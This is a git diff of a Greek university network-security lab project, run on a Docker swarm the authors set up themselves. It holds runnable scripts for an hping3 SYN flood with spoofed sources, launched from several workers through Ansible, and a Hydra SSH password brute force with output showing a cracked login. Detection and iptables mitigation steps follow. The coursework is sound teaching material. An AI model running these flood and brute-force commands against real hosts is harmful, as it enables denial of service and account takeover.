30 changed files with 2170 additions and 0 deletions
@ -0,0 +1,484 @@ |
|||||
|
= Ασφάλεια Δικτύων και Επικοινωνιών - Εργασία Εξαμήνου |
||||
|
Καραβίδας Γεώργιος cse242017107@uniwa.gr - Θεοδωρόπουλος Διονύσιος cs171208@uniwa.gr |
||||
|
:toc: right |
||||
|
:toc-title: Πίνακας περιεχομένων |
||||
|
:toclevels: 4 |
||||
|
:source-highlighter: highlightk |
||||
|
:icons: font |
||||
|
:sectnums: |
||||
|
|
||||
|
{empty} + |
||||
|
|
||||
|
|
||||
|
== Περιγραφή και Προετοιμασία του Συστήματος |
||||
|
|
||||
|
=== Προαπαιτούμενα |
||||
|
|
||||
|
Για την υλοποίηση των ζητουμένων της εργασίας έγινε χρήση της πλατφόρμας του http://docs.swarmlab.io/SwarmLab-HowTos/labs/Howtos/docker/install.adoc.html[Docker] καθώς και εγκατάσταση http://docs.swarmlab.io/SwarmLab-HowTos/labs/sec/sec.adoc.html[Σμήνους] σύμφωνα με τις οδηγίες του εργαστηρίου. |
||||
|
|
||||
|
{empty} + |
||||
|
|
||||
|
=== Αρχιτεκτονική Συστήματος |
||||
|
|
||||
|
.Για τους σκοπούς των ερωτημάτων χρησιμοποιήσαμε ένα cluster αποτελούμενο από 5 οντότητες: |
||||
|
* Ένας master κόμβος ο οποίος αποτελεί συντονιστής για το σμήνος όσον αφορά τις διάφορες λειτουργίες του. Επιπρόσθετα αναλαμβάνει την αυτοματοποιημένη - μαζική εγκατάσταση λογισμικών που θα |
||||
|
χρησιμοποιηθούν από τα μέλη του σμήνους για την διεκπαιρέωση εργασιών |
||||
|
* Τέσσερις worker κόμβοι οι οποίοι συμβάλουν στις ποικίλες διαδικασίες του συστήματος |
||||
|
|
||||
|
{empty} + |
||||
|
|
||||
|
=== Script Προετοιμασίας Συστήματος |
||||
|
|
||||
|
Εφόσον θέσουμε σε λειτουργία το Σμήνος, συνδεόμαστε στον master και εκτελούμε το πρώτο μας script(prepare_system.sh). |
||||
|
|
||||
|
.prepare_system.sh |
||||
|
---- |
||||
|
#!/bin/bash |
||||
|
|
||||
|
# must run with sudo!!! |
||||
|
sysctl -w net.ipv4.tcp_syncookies=0 |
||||
|
|
||||
|
apt-get update |
||||
|
apt-get install ansible -y |
||||
|
apt-get install sshpass -y |
||||
|
sed '/\[defaults\]/a host_key_checking = False' /etc/ansible/ansible.cfg > temp && cat temp > /etc/ansible/ansible.cfg |
||||
|
rm temp |
||||
|
|
||||
|
network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3) |
||||
|
network="$network.*" |
||||
|
echo "[workers]" > inventory |
||||
|
nmap -sP $network | grep worker | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2 >> inventory |
||||
|
|
||||
|
master=$(ifconfig | grep 255.255.0.0 | awk '{print $2}') |
||||
|
echo -e "\n[all_hosts]" >> inventory |
||||
|
echo $master >> inventory |
||||
|
nmap -sP $network | grep worker | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2 >> inventory |
||||
|
---- |
||||
|
Το εν λόγω script αναλαμβάνει να προετοιμάσει τον master κόμβο για τις διάφορες λειτουργίες που θα λάβουν χώρα στην σύνεχεια. Συγκεκριμένα: |
||||
|
|
||||
|
* Απενεργοποιεί το αντίμετρο net.ipv4.tcp_syncookies. Το αντίμετρο SYN cookie αντιμετωπίζει περιστατικά IP Spoofing καθώς έχει σκοπό την αποτροπή του γεμίσματος της ουράς συνδέσεων με αποτελέσμα καινούργιες συνδέσεις να μην γίνονται αποδεκτές. Η απενεργοποίηση του αντίμετρου είναι απαραίτητη καθώς ο master θα λειτουργήσει σαν θύμα του DDoS Attack |
||||
|
* Ενημερώνει την λίστα πακέτων του συστήματος |
||||
|
* Εγκαθιστεί το εργαλείο ansible |
||||
|
* Εγκαθιστεί το εργαλείο sshpass |
||||
|
* Παραμετροποιεί κατάλληλα το config αρχείο του προγράμματος ansible |
||||
|
* Εισάγει στο αρχείο inventory(το οποίο θα χρησιμοιηθεί από το ansible) δύο κατηγορίες χρηστών. Η πρώτη κατηγορία απευθύνεται στους workers του Σμήνους |
||||
|
ενώ η δεύτερη απευθύνεται σε όλους τους hosts |
||||
|
|
||||
|
{empty} + |
||||
|
|
||||
|
=== Αυτοματοποιημένες Διαδικασίες |
||||
|
|
||||
|
Για την υλοποίηση μαζικών εγκαταστάσεων λογισμικού στα μέλη του σμήνους καθώς και ταυτόχρονη εκτέλεση προγραμμάτων έχουμε αναπτύξει το ακόλουθο script |
||||
|
|
||||
|
.execute_playbook.sh |
||||
|
---- |
||||
|
#!/bin/bash |
||||
|
|
||||
|
echo "Choose a playbook to execute" |
||||
|
echo "1. Transfer scripts to workers" |
||||
|
echo "2. Install hping3 on workers" |
||||
|
echo "3. Start DDoS Attack" |
||||
|
echo "4. Stop DDoS Attack" |
||||
|
echo "5. Configure ssh on workers" |
||||
|
echo "6. Install openvpn on all hosts" |
||||
|
echo "7. Connect every host to VPN" |
||||
|
echo -e "\nEnter your option: " |
||||
|
read answer |
||||
|
|
||||
|
case $answer in |
||||
|
|
||||
|
1) |
||||
|
ansible-playbook -i inventory myplaybooks/transfer_scripts.yml --ask-pass --ask-become-pass |
||||
|
;; |
||||
|
|
||||
|
2) |
||||
|
ansible-playbook -i inventory myplaybooks/install_hping3.yml --ask-pass --ask-become-pass |
||||
|
;; |
||||
|
|
||||
|
3) |
||||
|
ansible-playbook -i inventory myplaybooks/start_ddos_attack.yml --ask-pass --ask-become-pass |
||||
|
;; |
||||
|
|
||||
|
4) |
||||
|
ansible-playbook -i inventory myplaybooks/stop_ddos_attack.yml --ask-pass --ask-become-pass |
||||
|
;; |
||||
|
|
||||
|
5) |
||||
|
ansible-playbook -i inventory myplaybooks/configure_ssh.yml --ask-pass --ask-become-pass |
||||
|
;; |
||||
|
|
||||
|
6) |
||||
|
ansible-playbook -i inventory myplaybooks/install_openvpn.yml --ask-pass --ask-become-pass |
||||
|
;; |
||||
|
|
||||
|
7) |
||||
|
ansible-playbook -i inventory myplaybooks/connect_to_vpn.yml --ask-pass --ask-become-pass |
||||
|
;; |
||||
|
|
||||
|
*) |
||||
|
echo "invalid option" |
||||
|
;; |
||||
|
esac |
||||
|
---- |
||||
|
Τρέχοντας το script ο χρήστης μπορεί να επιλέξει την λειτουργία που τον ενδιαφέρει. Η επεξήγηση των ansible playbooks θα πραγματοποιηθεί στην συνέχεια. |
||||
|
|
||||
|
{empty} + |
||||
|
|
||||
|
=== Μεταφορά Scripts στους workers |
||||
|
|
||||
|
Εκτελούμε το script execute_playbook.sh και στο μενού επιλογών εισάγουμε τον αριθμό 1 με αποτέλεσμα το ansible να εκτελέσει το playbook transfer_scripts.yml. |
||||
|
|
||||
|
.transfer_scripts.yml |
||||
|
---- |
||||
|
--- |
||||
|
- name: Transfer scripts to workers |
||||
|
hosts: workers |
||||
|
become: true |
||||
|
become_user: root |
||||
|
|
||||
|
tasks: |
||||
|
- name: Transferring script curl.sh |
||||
|
copy: src=/project/worker_scripts/curl.sh dest=/home/docker mode=0777 |
||||
|
|
||||
|
- name: Transferring script start_ddos.sh |
||||
|
copy: src=/project/worker_scripts/start_ddos.sh dest=/home/docker mode=0777 |
||||
|
|
||||
|
- name: Transferring script stop_ddos.sh |
||||
|
copy: src=/project/worker_scripts/stop_ddos.sh dest=/home/docker mode=0777 |
||||
|
|
||||
|
- name: Transferring script detect_ssh_brute_force.sh |
||||
|
copy: src=/project/worker_scripts/detect_ssh_brute_force.sh dest=/home/docker mode=0777 |
||||
|
|
||||
|
- name: Transferring script block_ssh_brute_force.sh |
||||
|
copy: src=/project/worker_scripts/block_ssh_brute_force.sh dest=/home/docker mode=0777 |
||||
|
|
||||
|
- name: Transferring script configure_ssh.sh |
||||
|
copy: src=/project/worker_scripts/configure_ssh.sh dest=/home/docker mode=0777 |
||||
|
|
||||
|
- name: Transferring script start_local_ssh_forwarding.sh |
||||
|
copy: src=/project/worker_scripts/start_local_ssh_forwarding.sh dest=/home/docker mode=0777 |
||||
|
---- |
||||
|
Η επεξήγηση των λειτουργιών που εκτελεί κάθε script θα πραγματοποιηθεί στην συνέχεια. |
||||
|
|
||||
|
{empty} + |
||||
|
|
||||
|
== DDoS Attack |
||||
|
|
||||
|
=== Έναρξη Λειτουργίας HTTP Server |
||||
|
|
||||
|
Εκτελούμε το script start_server.sh στον *master* κόμβο. |
||||
|
|
||||
|
.start_server.sh |
||||
|
---- |
||||
|
#!/bin/bash |
||||
|
|
||||
|
cd myserver |
||||
|
python -m SimpleHTTPServer 8000 & |
||||
|
---- |
||||
|
Θέτουμε σε λειτουργία μία web υπηρεσία που εξυπηρετεί HTTP requests στην πόρτα 8000. Στον φάκελο myserver όπου εκκινούμε την υπηρεσία υπάρχει το αρχείο index.html |
||||
|
|
||||
|
{empty} + |
||||
|
|
||||
|
=== Παράδειγμα HTTP Request |
||||
|
|
||||
|
Εκτελούμε το script curl.sh στον *worker_1*. |
||||
|
|
||||
|
.curl.sh |
||||
|
---- |
||||
|
#!/bin/bash |
||||
|
|
||||
|
network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3) |
||||
|
network="$network.*" |
||||
|
target=$(nmap -sP $network | grep master | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2) |
||||
|
curl http://$target:8000 |
||||
|
---- |
||||
|
Βρίσκουμε δυναμικά την διεύθυνση IP του server και πραγματοποιούμε ένα HTTP request μέσω του εργαλείου curl. Ο server μας απαντάει με το αρχείο index.html. |
||||
|
---- |
||||
|
<!DOCTYPE html> |
||||
|
<html> |
||||
|
<body> |
||||
|
|
||||
|
<h1>*Beep boop* the server is up and running</h1> |
||||
|
|
||||
|
</body> |
||||
|
</html> |
||||
|
---- |
||||
|
|
||||
|
{empty} + |
||||
|
|
||||
|
=== Εγκατάσταση Εργαλείου hping3 στους workers |
||||
|
|
||||
|
Εκτελούμε το script execute_playbook.sh και στο μενού επιλογών εισάγουμε τον αριθμό 2 με αποτέλεσμα το ansible να εκτελέσει το playbook install_hping3.yml. |
||||
|
|
||||
|
.install_hping3.yml |
||||
|
---- |
||||
|
--- |
||||
|
- name: Install hping3 on workers |
||||
|
hosts: workers |
||||
|
become: true |
||||
|
become_user: root |
||||
|
|
||||
|
tasks: |
||||
|
- name: Installing hping3 |
||||
|
apt: |
||||
|
name: hping3 |
||||
|
state: present |
||||
|
---- |
||||
|
|
||||
|
{empty} + |
||||
|
|
||||
|
=== Εκτέλεση DDoS Attack |
||||
|
|
||||
|
Σε προηγούμενο βήμα μεταφέραμε ορισμένα scripts στους workers του Σμήνους. Ένα από αυτά είναι το start_ddos.sh |
||||
|
|
||||
|
.start_ddos.sh |
||||
|
---- |
||||
|
#!/bin/bash |
||||
|
|
||||
|
network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3) |
||||
|
network="$network.*" |
||||
|
target=$(nmap -sP $network | grep master | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2) |
||||
|
nohup hping3 -S -p 8000 --rand-source --fast $target & |
||||
|
---- |
||||
|
Το script start_ddos.sh βρίσκει δυναμικά την διεύθυνση του HTTP Server και εκτελεί DoS επίθεση μέσω του εργαλείου hping3. Ακολουθεί επεξήγηση των επιλογών της εντολής hping3: |
||||
|
|
||||
|
* nohup: Φροντίζει ώστε η διεργασία που δημιουργείται να τρέχει στο παρασκήνιο |
||||
|
* -S: Τα πακέτα που θα σταλθούν θα έχουν το SYN bit ενεργοποιημένο |
||||
|
* -p 8000: Η πόρτα προορισμού θα είναι η 8000 |
||||
|
* --rand-source: Κάθε πακέτα θα έχει τυχαία διεύθυνση IP αποστολέα |
||||
|
* --fast: Τα πακέτα θα στέλνονται με γοργό ρυθμό |
||||
|
|
||||
|
*Η επίθεση επομένως αποτελεί ένα SYN Flooding Attack με αποτέλεσμα πολλές συνδέσεις να μένουν μισάνοιχτες καθώς δεν ολοκληρώνεται το TCP Three Way Handshake. |
||||
|
Ο buffer συνδέσεων του Server γεμίζει και δεν δέχεται καινούργια αιτήματα. Επομένως επιτυγχάνεται Άρνηση Υπηρεσίας.* |
||||
|
|
||||
|
Εκτελούμε το script execute_playbook.sh και στο μενού επιλογών εισάγουμε τον αριθμό 3 με αποτέλεσμα το ansible να εκτελέσει το playbook start_ddos_attack.yml. |
||||
|
|
||||
|
.start_ddos_attack.yml |
||||
|
---- |
||||
|
--- |
||||
|
- name: Start DDoS |
||||
|
hosts: workers |
||||
|
become: true |
||||
|
become_user: root |
||||
|
|
||||
|
tasks: |
||||
|
- name: Starting DDoS Attack |
||||
|
command: sh /home/docker/start_ddos.sh |
||||
|
---- |
||||
|
Το playbook start_ddos_attack.yml εκτελεί ταυτόχρονα σε όλους τους workers το script start_ddos.sh με αποτέλεσμα την έναρξη DDoS Attack προς τον master(HTTP Server). Στη |
||||
|
συνέχεια πραγματοποιούμε ένα HTTP request με την βοήθεια του script curl.sh και παρατηρούμε ότι ο Server δεν ανταποκρίνεται. |
||||
|
|
||||
|
{empty} + |
||||
|
|
||||
|
=== Ανίχνευση DDoS Attack |
||||
|
|
||||
|
Μεταβαίνουμε στον *master* κόμβο και εκτελούμε την εντολή *sudo tcpdump port 8000* ώστε να διαπιστώσουμε αν υφίσταται ασυνήθιστη δικτυακή κίνηση προς τον Server. |
||||
|
|
||||
|
---- |
||||
|
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode |
||||
|
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes |
||||
|
19:30:14.238511 IP 10.110.79.148.4697 > dd02ad277ce2.8000: Flags [S], seq 1908833461, win 512, length 0 |
||||
|
19:30:14.238511 IP 112.148.52.179.d.dyn.claro.net.do.5525 > dd02ad277ce2.8000: Flags [S], seq 405413400, win 512, length 0 |
||||
|
19:30:14.267454 IP 28.111.97.87.4697 > dd02ad277ce2.8000: Flags [S], seq 1908833461, win 512, length 0 |
||||
|
19:30:14.303286 IP 50.239.103.26.4698 > dd02ad277ce2.8000: Flags [S], seq 8773725, win 512, length 0 |
||||
|
19:30:14.338585 IP 194.108.17.99.5526 > dd02ad277ce2.8000: Flags [S], seq 222808557, win 512, length 0 |
||||
|
19:30:14.338585 IP adsl-67-127-134-126.dsl.sndg02.pacbell.net.4698 > dd02ad277ce2.8000: Flags [S], seq 8773725, win 512, length 0 |
||||
|
19:30:14.367571 IP 196.71.238.168.4698 > dd02ad277ce2.8000: Flags [S], seq 8773725, win 512, length 0 |
||||
|
19:30:14.403351 IP 243.154.130.32.4699 > dd02ad277ce2.8000: Flags [S], seq 615709092, win 512, length 0 |
||||
|
19:30:14.903838 IP 12.62.142.196.4704 > dd02ad277ce2.8000: Flags [S], seq 698537545, win 512, length 0 |
||||
|
19:30:16.169422 IP 100.113.234.104.4716 > dd02ad277ce2.8000: Flags [S], seq 1700667867, win 512, length 0 |
||||
|
19:30:17.341758 IP 150.53.177.105.4728 > dd02ad277ce2.8000: Flags [S], seq 1989391975, win 512, length 0 |
||||
|
19:30:18.743039 IP 159-138-102-121.flets.hi-ho.ne.jp.4742 > dd02ad277ce2.8000: Flags [S], seq 1799290936, win 512, length 0 |
||||
|
19:30:19.009312 IP 231.159.196.181.4745 > dd02ad277ce2.8000: Flags [S], seq 1787026710, win 512, length 0 |
||||
|
---- |
||||
|
Παρατηρούμε ότι πραγματοποιούνται πολλές συνδέσεις σε μικρό χρονικό διάστημα. Κάθε σύνδεση έχει διαφορετική διεύθυνση αποστολέα και το SYN bit είναι ενεργοποιημένο. |
||||
|
Επίσης καμία από τις συνδέσεις δεν φαίνεται να ολοκληρώνει το TCP Three Way Handshake επομένως συμπαιρένουμε ότι πρόκεται για μία SYN Flooding DDoS Attack. |
||||
|
|
||||
|
Στην συνέχεια εκτελούμε την εντολή *netstat -tn | grep 8000* |
||||
|
---- |
||||
|
tcp 0 0 172.19.0.2:8000 174.77.115.169:10162 SYN_RECV |
||||
|
tcp 0 0 172.19.0.2:8000 89.231.77.26:10134 SYN_RECV |
||||
|
tcp 0 0 172.19.0.2:8000 245.71.230.254:10182 SYN_RECV |
||||
|
tcp 0 0 172.19.0.2:8000 167.54.0.48:10146 SYN_RECV |
||||
|
tcp 0 0 172.19.0.2:8000 0.72.239.96:10203 SYN_RECV |
||||
|
tcp 0 0 172.19.0.2:8000 212.218.200.50:10345 SYN_RECV |
||||
|
tcp 0 0 172.19.0.2:8000 54.48.41.221:10325 SYN_RECV |
||||
|
tcp 0 0 172.19.0.2:8000 154.69.94.37:10290 SYN_RECV |
||||
|
---- |
||||
|
Παρατηρούμε ότι έχουν πραγματοποιηθεί πολλές συνδέσεις στον HTPP Server ωστόσο σε καμία δεν έχει ολοκληρωθεί το TCP Three Way Handshake. |
||||
|
|
||||
|
{empty} + |
||||
|
|
||||
|
=== Αντιμετώπιση DDoS Attack |
||||
|
|
||||
|
Για την εντιμετώπιση της επίθεσης συγκρίνουμε τα SYN πακέτα ανάμεσα σε ένα κανονικό HTTP request και σε ένα άιτημα που δημιουργήθηκε από το hping3. |
||||
|
---- |
||||
|
16:55:22.111999 IP project_worker_4.project_net.33526 > 1e2f64f881f9.8000: Flags [S], seq 2437561719, win 64240, options [mss 1460,sackOK,TS val 1358362765 ecr 0,nop,wscale 7], length 0 |
||||
|
|
||||
|
16:37:29.718510 IP 224.8.186.98.2706 > 1e2f64f881f9.8000: Flags [S], seq 1460290212, win 512, length 0 |
||||
|
---- |
||||
|
Παρατηρούμε ότι τα πακέτα που στέλνονται μέσω του hping3 δεν θέτουν τιμή στο max segment size(mss) σε αντίθεση με τα κανονικά πακέτα που εκκινούν την σύνδεση. Επομένως μπορούμε να |
||||
|
φιλτράρουμε την κίνηση με βάση αυτό το κριτήριο. |
||||
|
|
||||
|
.block_ddos.sh |
||||
|
---- |
||||
|
#!/bin/bash |
||||
|
|
||||
|
# must run with sudo!!! |
||||
|
|
||||
|
sudo iptables -I INPUT -p tcp --dport 8000 --tcp-flags SYN SYN -m tcpmss ! --mss 0:65535 -j DROP |
||||
|
---- |
||||
|
Το script block_ddos.sh εισάγει στην αλυσίδα INPUT τον παραπάνω κανόνα σύμφωνα με τον οποίο Αν: |
||||
|
|
||||
|
* Το πακέτο εισέρχεται στο σύστημα |
||||
|
* Το πρωτόκολλο που χρησιμοποιείται στο επίπεδο μεταφοράς είναι το TCP |
||||
|
* Η πόρτα προορισμού είναι η 8000 |
||||
|
* Το SYN bit είναι ενεργοποιημένο |
||||
|
* Η τιμή του max segment size δεν ειναι απο 0 έως 65535(δηλαδή δεν έχει θέσει κάποιο mss) |
||||
|
* Τότε το πακέτο απορρίπτεται |
||||
|
|
||||
|
Εκτελούμε το script και στη συνέχεια πραγματοποιούμε ένα HTTP request με την βοήθεια του script curl.sh από τον worker_1. Παρατηρούμε ότι ο Server επιστρέφει το αρχείο index.html |
||||
|
επομένως συμπεραίνουμε πως η επίθεση αντιμετωπίστηκε με επιτυχία. |
||||
|
|
||||
|
Εκτελούμε την εντολή *sudo iptables --list* για την εμφάνιση του κανόνα που προστέθηκε μέσω του script |
||||
|
---- |
||||
|
Chain INPUT (policy ACCEPT) |
||||
|
target prot opt source destination |
||||
|
DROP tcp -- anywhere anywhere tcp dpt:8000 flags:SYN/SYN tcpmss match !0:65535 |
||||
|
|
||||
|
Chain FORWARD (policy ACCEPT) |
||||
|
target prot opt source destination |
||||
|
|
||||
|
Chain OUTPUT (policy ACCEPT) |
||||
|
target prot opt source destination |
||||
|
---- |
||||
|
|
||||
|
{empty} + |
||||
|
|
||||
|
== SSH Bruce Force Attack |
||||
|
|
||||
|
=== Εγκατάσταση Εργαλείου THC-Hydra |
||||
|
|
||||
|
Για την πραγματοποίηση της επίθεσης εγκαθιστούμε το εργαλείο HTC-Hydra στον master κόμβο με την εντολή *sudo apt-get install hydra*. Σε αυτό το σενάριο ο master θα αποτελέσει τον |
||||
|
επιτιθέμενο ενώ το worker_1 θα αποτελέσει τον στόχο της επίθεσης. |
||||
|
|
||||
|
{empty} + |
||||
|
|
||||
|
=== Εκτέλεση SSH Bruce Force Attack |
||||
|
|
||||
|
Έχουμε στην διάθεση μας το αρχείο password_list.txt το οποίο περιέχει τυχαίους κωδικούς. Στη συνέχεια εκτελούμε το script ssh_brute_force.sh. |
||||
|
|
||||
|
.ssh_brute_force.sh |
||||
|
---- |
||||
|
#!/bin/bash |
||||
|
|
||||
|
network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3) |
||||
|
network="$network.*" |
||||
|
target=$(nmap -sP $network | grep worker_1 | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2) |
||||
|
hydra -l docker -P password_list.txt $target ssh |
||||
|
---- |
||||
|
Το script ssh_brute_force.sh βρίσκει δυναμικά την IP διεύθυνση του worker_1 και εξαπολύει επίθεση προς αυτόν χρησιμοποιώντας το εργαλείο THC-Hydra με τις ακόλουθες επιλογές: |
||||
|
|
||||
|
* -l: Θεωρεί δεδομένο πως το όνομα χρήστη είναι "docker" |
||||
|
* -P: Δοκιμάζει όλους τους κωδικούς που υπάρχουν στο αρχείο password_list.txt |
||||
|
|
||||
|
---- |
||||
|
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. |
||||
|
|
||||
|
Hydra (http://www.thc.org/thc-hydra) starting at 2021-01-24 20:47:32 |
||||
|
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 |
||||
|
[DATA] max 16 tasks per 1 server, overall 16 tasks, 200 login tries (l:1/p:200), ~13 tries per task |
||||
|
[DATA] attacking ssh://172.19.0.3:22/ |
||||
|
[22][ssh] host: 172.19.0.3 login: docker password: docker |
||||
|
1 of 1 target successfully completed, 1 valid password found |
||||
|
[WARNING] Writing restore file because 5 final worker threads did not complete until end. |
||||
|
[ERROR] 5 targets did not resolve or could not be connected |
||||
|
[ERROR] 16 targets did not complete |
||||
|
Hydra (http://www.thc.org/thc-hydra) finished at 2021-01-24 20:47:59 |
||||
|
---- |
||||
|
|
||||
|
{empty} + |
||||
|
|
||||
|
=== Ανίχνευση SSH Bruce Force Attack |
||||
|
|
||||
|
Για την ανίχνευση του SSH Bruce Force Attack έχει αναπτυχθεί το script detect_ssh_brute_force.sh |
||||
|
|
||||
|
.detect_ssh_brute_force.sh |
||||
|
---- |
||||
|
#!/bin/bash |
||||
|
|
||||
|
echo "Starting scan for SSH Brute Force Attacks" |
||||
|
while [ 1 ] |
||||
|
do |
||||
|
count=$(netstat -tn | awk '{print $4}' | grep :22 | wc -l) |
||||
|
if [ $count -gt 20 ] |
||||
|
then |
||||
|
attacker=$(netstat -tn | awk '{print $5}' | grep -v :22 | cut -d ':' -f1 | tail -1) |
||||
|
echo "SSH Bruce Force Attack detected!!!" |
||||
|
echo "$attacker made $count SSH connections at the same time" |
||||
|
|
||||
|
echo -e |
||||
|
echo "Data collected:" |
||||
|
netstat -tn |
||||
|
break |
||||
|
fi |
||||
|
sleep 1 |
||||
|
done |
||||
|
---- |
||||
|
Το script detect_ssh_brute_force.sh ελέγχει επαννελημένα το αποτέλεσμα της εντολής *netstat -tn* και όταν ο αριθμός συνδέσεων στην πόρτα 22(δηλαδή στο SSH) είναι πάνω από 20 |
||||
|
σταματάει την εκτέλεση του προγράμματος και εμφανίζει πληροφορίες σχετικά με την επίθεση. |
||||
|
|
||||
|
---- |
||||
|
Starting scan for SSH Brute Force Attacks |
||||
|
SSH Bruce Force Attack detected!!! |
||||
|
172.19.0.2 made 22 SSH connections at the same time |
||||
|
|
||||
|
Data collected: |
||||
|
Active Internet connections (w/o servers) |
||||
|
Proto Recv-Q Send-Q Local Address Foreign Address State |
||||
|
tcp 0 0 172.19.0.3:22 172.19.0.2:34536 ESTABLISHED |
||||
|
tcp 0 0 172.19.0.3:22 172.19.0.2:34476 TIME_WAIT |
||||
|
tcp 0 0 172.19.0.3:22 172.19.0.2:34532 ESTABLISHED |
||||
|
tcp 0 0 172.19.0.3:22 172.19.0.2:34500 TIME_WAIT |
||||
|
tcp 0 0 172.19.0.3:22 172.19.0.2:34454 TIME_WAIT |
||||
|
tcp 0 0 172.19.0.3:22 172.19.0.2:34510 ESTABLISHED |
||||
|
tcp 0 0 172.19.0.3:22 172.19.0.2:34508 ESTABLISHED |
||||
|
tcp 0 0 172.19.0.3:22 172.19.0.2:34518 ESTABLISHED |
||||
|
tcp 0 0 172.19.0.3:22 172.19.0.2:34516 ESTABLISHED |
||||
|
tcp 0 0 172.19.0.3:22 172.19.0.2:34506 ESTABLISHED |
||||
|
tcp 0 0 172.19.0.3:22 172.19.0.2:34502 ESTABLISHED |
||||
|
tcp 0 0 172.19.0.3:22 172.19.0.2:34474 TIME_WAIT |
||||
|
tcp 0 0 172.19.0.3:22 172.19.0.2:34524 ESTABLISHED |
||||
|
tcp 0 0 172.19.0.3:22 172.19.0.2:51128 ESTABLISHED |
||||
|
tcp 0 0 172.19.0.3:22 172.19.0.2:34448 TIME_WAIT |
||||
|
tcp 0 0 172.19.0.3:22 172.19.0.2:34520 ESTABLISHED |
||||
|
tcp 0 0 172.19.0.3:22 172.19.0.2:34514 ESTABLISHED |
||||
|
tcp 0 0 172.19.0.3:22 172.19.0.2:34504 ESTABLISHED |
||||
|
tcp 0 0 172.19.0.3:22 172.19.0.2:34528 ESTABLISHED |
||||
|
tcp 0 0 172.19.0.3:22 172.19.0.2:34470 TIME_WAIT |
||||
|
tcp 0 0 172.19.0.3:22 172.19.0.2:34526 ESTABLISHED |
||||
|
tcp 0 0 172.19.0.3:22 172.19.0.2:34512 ESTABLISHED |
||||
|
---- |
||||
|
|
||||
|
|
||||
|
|
||||
|
{empty} + |
||||
|
|
||||
|
=== Αντιμετώπιση SSH Bruce Force Attack |
||||
|
|
||||
|
|
||||
|
{empty} + |
||||
|
|
||||
|
=== Τροποποίηση ssh-server στους workers |
||||
|
|
||||
|
{empty} + |
||||
|
|
||||
|
== SSH Tunelling |
||||
|
|
||||
|
todo |
||||
|
|
||||
|
{empty} + |
||||
|
|
||||
|
== VPN |
||||
|
|
||||
|
todo |
||||
File diff suppressed because it is too large
@ -0,0 +1,5 @@ |
|||||
|
#!/bin/bash |
||||
|
|
||||
|
# must run with sudo!!! |
||||
|
|
||||
|
sudo iptables -I INPUT -p tcp --dport 8000 --tcp-flags SYN SYN -m tcpmss ! --mss 0:65535 -j DROP |
||||
@ -0,0 +1,48 @@ |
|||||
|
#!/bin/bash |
||||
|
|
||||
|
echo "Choose a playbook to execute" |
||||
|
echo "1. Transfer scripts to workers" |
||||
|
echo "2. Install hping3 on workers" |
||||
|
echo "3. Start DDoS Attack" |
||||
|
echo "4. Stop DDoS Attack" |
||||
|
echo "5. Configure ssh on workers" |
||||
|
echo "6. Install openvpn on all hosts" |
||||
|
echo "7. Connect every host to VPN" |
||||
|
echo -e "\nEnter your option: " |
||||
|
read answer |
||||
|
|
||||
|
case $answer in |
||||
|
|
||||
|
1) |
||||
|
ansible-playbook -i inventory myplaybooks/transfer_scripts.yml --ask-pass --ask-become-pass |
||||
|
;; |
||||
|
|
||||
|
2) |
||||
|
ansible-playbook -i inventory myplaybooks/install_hping3.yml --ask-pass --ask-become-pass |
||||
|
;; |
||||
|
|
||||
|
3) |
||||
|
ansible-playbook -i inventory myplaybooks/start_ddos_attack.yml --ask-pass --ask-become-pass |
||||
|
;; |
||||
|
|
||||
|
4) |
||||
|
ansible-playbook -i inventory myplaybooks/stop_ddos_attack.yml --ask-pass --ask-become-pass |
||||
|
;; |
||||
|
|
||||
|
5) |
||||
|
ansible-playbook -i inventory myplaybooks/configure_ssh.yml --ask-pass --ask-become-pass |
||||
|
;; |
||||
|
|
||||
|
6) |
||||
|
ansible-playbook -i inventory myplaybooks/install_openvpn.yml --ask-pass --ask-become-pass |
||||
|
;; |
||||
|
|
||||
|
7) |
||||
|
ansible-playbook -i inventory myplaybooks/connect_to_vpn.yml --ask-pass --ask-become-pass |
||||
|
;; |
||||
|
|
||||
|
*) |
||||
|
echo "invalid option" |
||||
|
;; |
||||
|
esac |
||||
|
|
||||
@ -0,0 +1,11 @@ |
|||||
|
#!/bin/bash |
||||
|
|
||||
|
ssh-keygen -t rsa |
||||
|
|
||||
|
network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3) |
||||
|
network="$network.*" |
||||
|
hosts=$(nmap -sP $network | grep worker | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2) |
||||
|
for ip in $hosts |
||||
|
do |
||||
|
ssh-copy-id docker@$ip |
||||
|
done |
||||
@ -0,0 +1,9 @@ |
|||||
|
--- |
||||
|
- name: Configure ssh on workers |
||||
|
hosts: workers |
||||
|
become: true |
||||
|
become_user: root |
||||
|
|
||||
|
tasks: |
||||
|
- name: Configuring ssh |
||||
|
command: sh /home/docker/configure_ssh.sh |
||||
@ -0,0 +1,12 @@ |
|||||
|
--- |
||||
|
- name: Connect to VPN |
||||
|
hosts: all_hosts |
||||
|
become: true |
||||
|
become_user: root |
||||
|
|
||||
|
tasks: |
||||
|
- name: Transferring script connect_to_vpn.sh to every host |
||||
|
copy: src=/project/worker_scripts/connect_to_vpn.sh dest=/home/docker mode=0777 |
||||
|
|
||||
|
- name: Connecting to VPN |
||||
|
command: sh /home/docker/connect_to_vpn.sh |
||||
@ -0,0 +1,11 @@ |
|||||
|
--- |
||||
|
- name: Install hping3 on workers |
||||
|
hosts: workers |
||||
|
become: true |
||||
|
become_user: root |
||||
|
|
||||
|
tasks: |
||||
|
- name: Installing hping3 |
||||
|
apt: |
||||
|
name: hping3 |
||||
|
state: present |
||||
@ -0,0 +1,11 @@ |
|||||
|
--- |
